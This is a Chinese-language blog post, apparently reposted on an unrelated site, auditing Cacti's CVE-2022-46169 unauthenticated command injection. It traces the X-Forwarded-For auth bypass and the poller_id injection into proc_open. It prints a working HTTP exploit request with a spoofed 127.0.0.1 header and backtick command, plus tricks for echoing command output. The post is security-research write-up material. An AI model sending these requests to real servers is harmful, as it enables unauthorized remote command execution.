PHP代码审计其一:Cacti CVE |
您所在的位置:网站首页 › source graph 企业版 price › PHP代码审计其一:Cacti CVE |
简介 命令执行 这个漏洞单说命令执行其实没什么好分析的,是将命令直接拼接进proc_open,但是加上错误使用break 2导致的未授权访问,就有点意思了。 网页回显 再加上P神提示是可以直接在网页回显(现在的复现文章绝大部分都是无直接回显的)值得一写。不过这也有人几小时就搞定了,例如:Cacti的命令注入(CVE-2022-46169) 回显poc构造 - 白帽酱の博客 (rce.moe),还有其他人也搞定了,只是最后构造的命令不同。我在这只写下思路,毕竟构造的命令是他们的成果。 条件 更加令我在意的是达成命令执行的条件,看到的文章只有简短的几句,如vulhub中的复现告诉我要建采集器,建哪个。这套代码传参与条件之间间隔了几十条if语句,还有不少干扰项,从传参到条件有一定的难度。如果是自己在漏洞挖掘时,从条件找到传参该怎么去做。 搭建与复现 不想在虚拟机搭建它,phpstudy linux版也没法用,挺麻烦的,还是用docker好点,vulhub/cacti/CVE-2022-46169](https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169)。可能是我独有的问题,挂起虚拟机之前先把容器关掉,否则容器无法访问,需要重建。命令执行给出流程,实际思考时是从命令执行代码往上分析条件。这里参考Cacti命令执行(CVE-2022-46169)漏洞分析 (qq.com)进行了代码简化。 这里使用了proc_open,直接拼接$poller_id,使用Linux管道符号|或者反引号 ``可以优先执行$poller_id。 看看条件POLLER_ACTION_SCRIPT_PHP,这里定义的值是2,往上看看。 2. poll_for_data 条件2function poll_for_data() { global $config; $local_data_ids = get_nfilter_request_var('local_data_ids'); //get_nfilter_request_var 是不过滤获取参数 $host_id = get_filter_request_var('host_id'); $poller_id = get_nfilter_request_var('poller_id'); //命令执行参数 if (cacti_sizeof($local_data_ids)) { //校验是否是数组 foreach($local_data_ids as $local_data_id) { input_validate_input_number($local_data_id); //校验是否是数字 $items = db_fetch_assoc_prepared('SELECT * FROM poller_item WHERE host_id = ? AND local_data_id = ?', array($host_id, $local_data_id)); if (cacti_sizeof($items)) { foreach($items as $item) { switch ($item['action']) { case POLLER_ACTION_SCRIPT_PHP:这里需要三个参数,数组$local_data_ids,$host_id,$poller_id,前两者从上面poller_item表中获取数据。需要$item['action']的值为2,遗憾的是默认的5条数据中没有。怎么生成action为2方法vulhub/README.zh-cn.md at master · vulhub/vulhub · GitHub中有,至于代码分析第四章写。 payload 大致为&local_data_ids[0]=6&host_id=1&poller_id=touch+/tmp/success 继续往上看看,还有什么条件。 3. 条件1if ($config['poller_id'] > 1 && $config['connection'] == 'online') { ... } else { $poller_db_cnn_id = false; } if (!remote_client_authorized()) { // 条件 print 'FATAL: You are not authorized to use this service'; exit; } set_default_action(); switch (get_request_var('action')) { case 'polldata': poll_for_data(); break;判断$config这是关于数据库连接,默认连接数据库,需要过remote_client_authorized,且这里的action=polldata。 remote_client_authorized function remote_client_authorized() { global $poller_db_cnn_id; $client_addr = get_client_addr(); if ($client_addr === false) { return false; } ... $pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id); if (cacti_sizeof($pollers)) { foreach($pollers as $poller) { if (remote_agent_strip_domain($poller['hostname']) == $client_name) { return true; } elseif ($poller['hostname'] == $client_addr) { return true; } } } return false;}需要$client_addr == $poller['hostname'],hostname在poller表中,一般为localhost。如果能构造$client_addr为本地地址就能通过。看看get_client_addr怎么获取的地址。 get_client_addr function get_client_addr($client_addr = false) { $http_addr_headers = array( 'X-Forwarded-For', 'X-Client-IP', 'X-Real-IP', 'X-ProxyUser-Ip','CF-Connecting-IP', 'True-Client-IP', 'HTTP_X_FORWARDED', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'HTTP_CLIENT_IP', 'REMOTE_ADDR', ); $client_addr = false; foreach ($http_addr_headers as $header) { if (!empty($_SERVER[$header])) { $header_ips = explode(',', $_SERVER[$header]); foreach ($header_ips as $header_ip) { if (!empty($header_ip)) { if (!filter_var($header_ip, FILTER_VALIDATE_IP)) { cacti_log('...'); } else { $client_addr = $header_ip; cacti_log('...'); break 2; } } } } } return $client_addr; }循环获取$http_addr_headers,本应该获取安全的REMOTE_ADDR,但这里用了break 2;如果匹配中了X-Forwarded-For就跳出了两层循环,导致获取到了可以被伪造的X-Forwarded-For。 至此构造基本完成,直接给出vulhub的payload GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1 X-Forwarded-For: 127.0.0.1 Host: localhost.lan User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1网页回显获取proc_open结果的变量名叫做$output说明本来是可以回显的,print json_encode($return);说明回显格式是json。 $output = fgets($pipes[1], 1024);可以理解为获取命令执行结果 在向下的代码中$output又被再次赋值,直接使用了$pipes。arg1如下图所示。 $output = trim(str_replace("\n", '', exec_poll_php($item['arg1'], $using_proc_function, $pipes, $cactiphp))); 这里$output又从$pipes[1]中读取数据。 function exec_poll_php($command, $using_proc_function, $pipes, $proc_fd) { global $config; $output = ''; /* execute using php process */ if ($using_proc_function == 1) { if (is_resource($proc_fd)) { fwrite($pipes[0], $command . "\r\n"); fflush($pipes[0]); $output = fgets($pipes[1], 8192); if (substr_count($output, 'ERROR') > 0) { $output = 'U'; } } return $output;pipe是PHP的管道,先进先出,$output读取了两次pipe中的内容,实际上$output是第二次执行的结果。 有什么方式,可以把结果放入第二次读取中呢?让命令执行的结果占两个位置。 方式一:第一次读取1024,那就塞进1024 方式二:\r\n换行就行,用Linux 的echo 输出 echo "\r\n`id`"prepare_validate_result继续向下,校验$output,$output要有:,不能有空格 function prepare_validate_result(&$result) { /* first trim the string */ $result = trim($result, "'\"\n\r"); elseif (substr_count($result, ':') || substr_count($result, '!')) { /* looking for name value pairs */ if (substr_count($result, ' ') == 0) { dsv_log('prepare_validate_result', 'data has no spaces'); return true; }可以构造了,可以参考Cacti的命令注入(CVE-2022-46169) 回显poc构造 - 白帽酱の博客 (rce.moe),xxd可以换base64,awk可以换sed,sed和awk用法值得好好学学。 其实简单点也可以 echo "\r\n1:`id`条件 action=2找传参点命令执行需要$item['action']的值为2,$item['action']在poller_item表中。要构成这个条件,先从Insert into poller_item找起,只有一条。 lib/utility.php poller_update_poller_cache_from_buffer
从这往上有四个可能的函数,再往上需要查看的量就很大了,即使能看,再往上,就难了。 可以看到上面有个SQL语句,当$data_input['type_id']=5时,$action =2。看看这两个表,执行一下。 我重新构造了一下语句 SELECT di.id,di.name, di.type_id, dtd.id AS data_template_data_id, dtd.data_template_id, dtd.active, dtd.rrd_step FROM data_template_data AS dtd INNER JOIN data_input AS di ON dtd.data_input_id=di.id WHERE di.type_id=5执行结果如下:
cacti主页就有
环境在docker中,不好配xdebug。直接在poller_update_poller_cache_from_buffer放个var_dump(debug_backtrace());,创建Graph,抓个包可以看到整个链。 /var/www/html/graphs_new.phpform_save-->html_graph_new_graphs-->create_save_graph -->/var/www/html/lib/template.phppush_out_host $poller_items = array_merge($poller_items, update_poller_cache($data)); // 赋值action=2-->/var/www/html/lib/utility.phppoller_update_poller_cache_from_buffer 总结命令回显有几个点:php管道的读取、Linux命令执行顺序、Linux管道符、Linux反引号中命令优先、sed用法、awk用法。分开来还算比较熟悉,但综合运用少了点。 本来希望纯审计能从条件一步步回溯到传参,很遗憾,没能做到,排除手段少,不等不面对上百的干扰,然后失去耐心。相比PHP反序化链来讲,深度可能不足,但广度远超,毕竟PHP反序化链只有符合不符合规则。 一直用Obsidian记笔记和画思路图,试着用它画简单的审计流程,感觉挺好用的。 参考与工具参考vulhub/README.zh-cn.md at master · vulhub/vulhub · GitHub Unauthenticated Command Injection · Advisory · Cacti/cacti · GitHub Cacti命令执行(CVE-2022-46169)漏洞分析 (qq.com) Cacti的命令注入(CVE-2022-46169) 回显poc构造 - 白帽酱の博客 (rce.moe) 代码绘图工具obsidian 的白板功能 |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |